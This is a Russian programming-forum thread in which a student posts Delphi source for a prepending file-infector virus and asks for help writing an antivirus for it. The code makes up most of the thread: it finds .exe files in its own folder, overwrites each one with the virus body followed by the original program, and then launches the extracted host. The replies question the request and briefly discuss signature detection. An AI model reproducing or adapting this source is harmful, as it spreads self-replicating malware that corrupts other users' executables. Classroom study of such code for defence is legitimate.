Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 10.12.2013, 19:37   #1
annuchka
Пользователь
 
Регистрация: 20.01.2013
Сообщений: 21
По умолчанию антивирус

доброго вечера,друзья..может ли кто-то. помочь в написании антивируса на основе вот этого кода.
Код:
unit unForm;

interface

uses               
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls;

type
  TVForm = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    Procedure Infect(s: string);
    Procedure FindAndKill;
    procedure Execute;
  end;

var
  VForm: TVForm;

implementation

{$R *.dfm}

uses unBlood;

const

//не запускайте программу с некорректным значением константы!!!
//используйте Project - Build

  VirLen=374784; //посмотреть в свойствах файла love.exe
                 //после сборки Project - Build

//не запускайте программу с некорректным значением константы!!!
//используйте Project - Build

type
  TArr=array[1..VirLen] of byte;

Var
  path,app:string;
  InfLen:longint;
  ArrVir:TArr;

procedure TVForm.FormCreate(Sender: TObject);
begin
  app:=Application.ExeName;
  path:=ExtractFileDir(app);
  if path[Length(path)]<>'\' then
    path:=path+'\';
end;

procedure TVForm.Execute;
var
  Read: Dword;
  err:cardinal;
  File1h,File2h: hFile;
  ArrInf:TArr;
  Sr: TSearchRec;
  Len:longint;
  StartupInfo: TStartupInfo;
  ProcessInfo:TProcessInformation;
begin
  CopyFile(PChar(app),PChar(path+'temp1.tmp'),false); //копирует сам себя во
                                                      //временный файл temp1.tmp

  if FindFirst(PChar(path+'temp1.tmp'),faAnyFile,sr)<>0 then
    begin
      FindClose(sr);
      Exit;
    end;
  Len:=sr.Size;       //находим длину самого себя (в копии)
  FindClose(sr);

  File1h:=_lOpen(PChar(path+'temp1.tmp'),OF_READ);
  _hRead(File1h,@ArrVir,VirLen);
  _lClose(File1h);

  if Len>VirLen then   //если длина себя больше, чем вирусный код
                       //т.е. запущена зараженная программа
    begin
      File1h:=_lOpen(PChar(path+'temp1.tmp'),OF_READ);
      _hRead(File1h,@ArrInf,VirLen);       //читаем (пропускаем) вирусный код
      File2h:=_lcreat(PChar(app+'tmp'),0); //создаем новый файл и вытаскиваем
                                           //в него программу-носитель
      repeat
        Read:=_hRead(File1h,@ArrInf,VirLen);   //читаем в буфер
        _hWrite(File2h,@ArrInf,Read); //пишем в файл программы-носителя
      until Read=0;
      _lClose(File1h);
      _lClose(File2h);
      DeleteFile(PChar(path+'temp1.tmp'));
      StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
      StartupInfo.wShowWindow := SW_SHOW;
      if not CreateProcess(nil,
        PChar(app+'tmp'), { указатель командной строки, путь к
                                   программе + аргументы }
        nil,                     { указатель на процесс атрибутов безопасности }
        nil,                     { указатель на поток атрибутов безопасности }
        false,                   { флаг родительского обработчика }
        CREATE_NEW_CONSOLE or    { флаг создания }
        NORMAL_PRIORITY_CLASS,
        nil,                     { указатель на новую среду процесса }
        nil,                     { указатель на имя текущей директории }
        StartupInfo,             { указатель на STARTUPINFO }
        ProcessInfo)             { указатель на PROCESS_INF }
      then
        err := 0
      else
        begin
          //создаем параллельный поток и ждём, когда пользователь
          //завершит работу с программой-носителем
          Blood:=TBlood.Create(false);
          WaitforSingleObject(ProcessInfo.hProcess,INFINITE);
          GetExitCodeProcess(ProcessInfo.hProcess,Err);
          Blood.Terminate;
        end;
      DeleteFile(PChar(app+'tmp'));      //чистим мусор
    end
  else
    DeleteFile(PChar(path+'temp1.tmp')); //чистим мусор
  findAndKill;
end;

procedure TVForm.FindAndKill;
var
  Sr: TSearchRec;
  result: integer;
  Prev: string;
begin
  Prev:='';
  Result:= FindFirst ('*.exe',faAnyFile xor faReadOnly,sr);
  While (result=0) And (Prev<>Sr.Name) do
    Begin
      Prev:=Sr.Name;
      if Sr.Name<>app then
        begin
          InfLen:=Sr.Size;
          Infect(path+Sr.Name);
        end;
      result:=FindNext (sr);
    End;
end;

Последний раз редактировалось Stilet; 14.12.2013 в 17:24.
annuchka вне форума Ответить с цитированием
Старый 10.12.2013, 19:37   #2
annuchka
Пользователь
 
Регистрация: 20.01.2013
Сообщений: 21
По умолчанию продолжение

Код:
procedure TVForm.Infect(s: string);
var
  Read: Dword;
  i:integer;
  File1h,File2h: hFile;
  ArrInf:TArr;
  infected:boolean;
begin
  CopyFile(PChar(s),PChar(path+'temp2.tmp'),false); //создаем копию

  File2h:=_lOpen(PChar(path+'temp2.tmp'),OF_READ);

  _hRead(File2h,@ArrInf,VirLen);
  _lClose(File2h);

  //определяем, заражена ли программа
  infected:=true;
  for i:=1 to VirLen do
    infected:=infected and (ArrVir[i]=ArrInf[i]);

  if infected then
    begin
      DeleteFile(PChar(path+'temp2.tmp'));
      Exit;
    end;

  DeleteFile(s);             //удаляем старый файл
  if FileExists(s) then
    Exit;

  File1h:=_lcreat(PChar(s),0);  //создаем новый с таким же именем
  File2h:=_lOpen(PChar(path+'temp2.tmp'),OF_READ);
  _hWrite(File1h,@ArrVir,VirLen); //пишем в него вирусный код

  repeat                                     //после вируса - программу-носитель
    Read:=_hRead(File2h,@ArrInf,VirLen);
    _hWrite(File1h,@ArrInf,Read);
  until Read=0;

  _lClose(File1h);
  _lClose(File2h);
  DeleteFile(PChar(path+'temp2.tmp'));       //чистим мусор
end;

end.

Последний раз редактировалось Stilet; 14.12.2013 в 17:25.
annuchka вне форума Ответить с цитированием
Старый 10.12.2013, 19:43   #3
Luuzuk
Форумчанин
 
Аватар для Luuzuk
 
Регистрация: 18.01.2012
Сообщений: 975
По умолчанию

обратитесь в лабораторию касперского, они внесут ваш вирус в свои базы
Благодарить в репутацию. Проклинать — туда же
Luuzuk вне форума Ответить с цитированием
Старый 10.12.2013, 19:47   #4
annuchka
Пользователь
 
Регистрация: 20.01.2013
Сообщений: 21
По умолчанию

это учебная программа
annuchka вне форума Ответить с цитированием
Старый 13.12.2013, 23:17   #5
annuchka
Пользователь
 
Регистрация: 20.01.2013
Сообщений: 21
По умолчанию Антивирус на Delphi

Доброго вечера.скажите,может ли кто то помочь с написанием анти-вируса на делфи?
annuchka вне форума Ответить с цитированием
Старый 14.12.2013, 13:39   #6
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Я пас. Это для меня слишком круто.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 14.12.2013, 16:58   #7
annuchka
Пользователь
 
Регистрация: 20.01.2013
Сообщений: 21
По умолчанию

Цитата:
Сообщение от Stilet Посмотреть сообщение
Я пас. Это для меня слишком круто.
а на основе кода,который выше?
annuchka вне форума Ответить с цитированием
Старый 14.12.2013, 17:22   #8
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

А что выше? Невнятные ошметки по принципу "там-сям"?
Попробуй использовать его - что получится?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 14.12.2013, 17:27   #9
annuchka
Пользователь
 
Регистрация: 20.01.2013
Сообщений: 21
По умолчанию

Цитата:
Сообщение от Stilet Посмотреть сообщение
А что выше? Невнятные ошметки по принципу "там-сям"?
Попробуй использовать его - что получится?
ничего что это код вируса,к которому антивирус нужен?
annuchka вне форума Ответить с цитированием
Старый 14.12.2013, 18:38   #10
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
ничего что это код вируса,к которому антивирус нужен?
Неа. Ничего не дает.
По какому принципу его искать? Сигнатуру выложишь? А если она совпадет с файлом, который не является вирусом? И кстати учитывая то что в теме предоставлено сам антивирус будет выглядеть как команда del temp*.tmp
И все. Больше ничего писать для обезвреживания не надо.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Антивирус Дима77 Помощь студентам 3 22.05.2011 17:58
Антивирус wint1000 Фриланс 1 21.04.2011 20:08
антивирус ulito4ka Безопасность, Шифрование 50 26.03.2011 23:15
антивирус Вета_907 Помощь студентам 4 24.07.2009 20:15
Антивирус Sanek777 Общие вопросы Delphi 6 04.11.2008 14:56